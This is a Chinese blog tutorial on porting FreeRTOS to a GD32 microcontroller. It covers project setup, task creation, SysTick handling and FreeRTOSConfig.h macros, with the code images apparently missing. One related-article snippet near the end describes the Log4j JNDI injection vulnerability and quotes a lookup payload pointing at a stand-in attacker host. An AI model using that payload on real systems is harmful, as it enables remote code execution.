FreeRTOS移植到GD32

目录

一、GD32基础工程创建:

1、创建如下文件夹

2、在keil5创建工程

3、在工程添加相关.c文件和头文件路径

4、实例:实现LED闪烁功能

二、在基础工程添加FreeRTOS:

1、FreeRTOS中的文件:

2、添加的源文件:

3、添加的头文件路径:

4、在main()函数中创建StartTask任务,用于创建其它任务:

5、在StartTask任务硬件初始化,并且创建其它任务:

6、SysTick_Handler 中断处理函数,主要涉及任务切换:

三、FreeRTOS系统配置:

1、FreeRTOSConfig.h文件的宏

2、FreeRTOSConfig.h和FreeRTOS.h的区别:


一、GD32基础工程创建:

1、创建如下文件夹

(1) CMSIS中的文件:

(2) FwLibrary中的文件:

(3) USER中的文件:

2、在keil5创建工程

输入工程名和选择工程存放路径:

选择芯片型号:

3、在工程添加相关.c文件和头文件路径

4、实例:实现LED闪烁功能

(1) main.c实现硬件初始化,并且调用App相关功能实现具体业务:

(2) LedApp.c 调用led.c,实现闪烁这个模块的功能:

(3) led.c 为最底层硬件实现,被App层调用:

(4) 注意:添加了 systick初始化之后,要编写其对应的中断处理函数SysTick_Handler,否则程序无法正常运行:

二、在基础工程添加FreeRTOS:

1、FreeRTOS中的文件:

2、添加的源文件:

3、添加的头文件路径:

4、在main()函数中创建StartTask任务,用于创建其它任务:

5、在StartTask任务硬件初始化,并且创建其它任务:

Mian_Srever_Task任务的实现:

LED_Server_Task任务的实现:

6、SysTick_Handler 中断处理函数,主要涉及任务切换:

注意systick的初始化和SysTick_Handler中断函数的处理。

三、FreeRTOS系统配置:

1、FreeRTOSConfig.h文件的宏

(1) 作用:“config”开始的宏和“INCLUDE_”开始的宏一样,都是用来完成 FreeRTOS 的配置和裁剪的。

(2) 常用宏的配置:

①configUSE_PREEMPTION

configUSE_PREEMPTION=1时FreeRTOS系统为抢占式内核,configUSE_PREEMPTION=0时,使用协程内核。协程内核可以节省开销,但是功能有限。协程内核主要是针对以前性能较低的MCU使用的,但现在的MCU功能都比较强,所以不需要使用协程内核。

②configCPU_CLOCK_HZ

设置CPU频率,一般来说配置为和MCU相同的主频。

③configTICK_RATE_HZ

设置系统时钟节拍频率,该频率就是滴答定时器的中断频率,该中断频率最小单位为1us。不过一般是1000us,即1ms。

④configMAX_PRIORITIES

可使用的最大优先级数量,设置完成以后就可以设置任务优先级,但必须在0~(configMAX_PRIORITIES-1)区间内,其中0为最低优先级,configMAX_PRIORITIES-1为最高优先级。一般来说,最低优先级只分配给空闲任务,最高优先级只分配给软件定时器,所以实际可供用户使用的优先级数量为configMAX_PRIORITIES-2。数值越大,优先级越高。

注意:FreeRTOS 任务优先级共有 256 级,如果优先级大于最大优先级那就为最大优先级,一般不要改大优先级会占用内存。

⑤6configMINIMAL_STACK_SIZE

空闲任务使用的堆栈大小,要注意这个大小的单位不一定是1byte,比如说stm32是32位单片机,那么大小的单位就是4byte,当configMINIMAL_STACK_SIZE=100时,就相当于空闲任务堆栈大小为400byte。

⑥configMAX_TASK_NAME_LEN

任务名字符串长度,用户根据自己需要设定。

⑦configUSE_16_BIT_TICKS

系统节拍计数器变量数据类型,根据自己使用的是多少位的单片机来做修改,stm32是32位MCU,所以选择32位。下图是其定义:

从中可以看到,当configUSE_16_BIT_TICKS=1时,定义系统节拍计数器变量类型为16位,否则为32位。

⑧configIDLE_SHOULD_YIELD

选择空闲任务是否放弃CPU使用权给其他同优先级的用户任务,configIDLE_SHOULD_YIELD=1,让出CPU使用权给其他同级任务;否则不会让出。一般来说我们会置一。因为如果不使能的话,可能会导致有些用户任务运行的时间变少。

⑨configUSE_MUTEXES

configUSE_MUTEXES=1时,使用互斥信号量。相关函数将会被编译。

⑩configUSE_RECURSIVE_MUTEXES

configUSE_RECURSIVE_MUTEXES=1,使用互斥递归信号量,相关函数将会被编译。

⑪configUSE_COUNTING_SEMAPHORES

configUSE_COUNTING_SEMAPHORES=1,启用计数型信号量,相关函数会被编译。

⑫configQUEUE_REGISTRY_SIZE

configQUEUE_REGISTRY_SIZE = 1,启用队列记录,用以记录队列和信号量的最大数量,在使用内核调试器的时候可以查看该记录。

⑬configUSE_QUEUE_SETS

用于设置是否启动队列,为1启动

⑭configUSE_TIME_SLICING(定义在FreeRTOS.h文件)

基于时间片的抢占式调度:
configUSE_PREEMPTION=1
configUSE_TIME_SLICING=1(默认为1)

当宏configUSE-TIME-SLICING定义为1的时候多个任务可以共用一个优先级,数量不限。此时处于就绪态的优先级相同的任务就会使用时间片轮转调度器获取运行时间。

2、FreeRTOSConfig.h和FreeRTOS.h的区别:

FreeRTOSConfig.h 是一个用户级别的配置文件,不属于内核文件。每个用户可以有不同的FreeRTOSConfig.h,从而实现不同的功能配置。

FreeRTOS.h内核头文件,绝大多数配置选项都是根据宏值来对 FreeRTOS 进行配置的。

联系:FreeRTOS.h 通过检查 FreeRTOSConfig.h 用户级别的配置文件来实现对 FreeRTOS 的配置。这样,既实现了灵活配置,又保证了所有用户就只有 FreeRTOSConfig.h 不同,而不需要修改内核源码。

具体实现:FreeRTOS.h这个头文件,它会#include FreeRTOSConfig.h,并通过 #if 判断对应常量是否被定义,来决定是否启用对应的功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/478036.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Stackoverflow(1)-根据RequestBody的内容来区分使用哪个资源

如果使用Spring,可以通过RequestBody将请求体的json转换为Java对象,但如果URI相同,而请求体的内容不同,应该怎么办?问题来源(stackoverflow):Spring RequestBody without using a pojo?稍微研究了一下&…

Slack 给平台加入了 AI 驱动的搜索和总结功能

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

面向对象 设计原则

0 引言 单一职责原则:类应该只有一个改变的理由; 开放-封闭原则:类应该对扩展开放,对修改关闭; 迪米特原则:只和朋友交谈; 里氏替换原则:子类可以扩展父类的功能,但不能…

picker选择器-年月日选择

从底部弹起的滚动选择器。支持五种选择器,通过mode来区分,分别是普通选择器,多列选择器,时间选择器,日期选择器,省市区选择器,默认是普通选择器。 学习一下日期选择器 平台差异说明 日期选择默…

0219作业

作业1 求两个数最大公约数 .text 文本段 .global _start 声明一个全局的_start函数 _start: 汇编的入口mov r0,#0x9mov r1,#0xfloop:cmp r0,r1 比较r0,r1beq stop 相等subhi r0,r0,r1 subcc r1,r1,r0b loopstop: 标签b stop 跳转到stop标签下的第一条指令进行执行 while…

CI/CD部署

什么是CI,什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成(Continuous Integration),是一种实践,旨在通过自动化构建、测试和代码静态分析等过程,频繁地将代码变更合并到共享存储…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…

在ubuntu20.04 上配置 qemu/kvm linux kernel调试环境

一:安装qemu/kvm 和 virsh qemu/kvm 是虚拟机软件,virsh是管理虚拟机的命令行工具,可以使用virsh创建,编辑,启动,停止,删除虚拟机。 (1):安装之前&#xff0c…

unity学习(14)——组装服务器环境

工具-获取工具和功能 vs2022中已经自带了 下载网址 NuGet Gallery | Microsoft.NETFramework.ReferenceAssemblies 1.0.3 后来发现微软已经不再支持4.0版本,还是自己从头组装服务器吧。 先给vs2022新增这个模块,4.38G大小还是可以接受的。 安装完之后就…

部分回溯法题解

部分回溯法题解 一、22. 括号生成二、39. 组合总和 一、22. 括号生成 中 数字 n 代表生成括号的对数,请你设计一个函数,用于能够生成所有可能的并且 有效的 括号组合。 示例 1: 输入:n 3 输出:[“((()))”,“(()())…

13180自考《操作系统》考点总结

第一章 操作系统概论 考点1 操作系统的定义、特征、功能 定义:操作系统是计算机系统中的一个系统软件,它是这样一些程序模块的集合:它们能有效地组织和管理计算机系统中的硬件及软件资源,合理地组织计算机工作流程,控…

四分位距IQR_ interquartile range

四分位距IQR_ interquartile range 1 IQR(Interquartile Range)四分位距的含义2 如何计算IQR参考: 1 IQR(Interquartile Range)四分位距的含义 官方定义: 四分位距(interquartile range, IQR&a…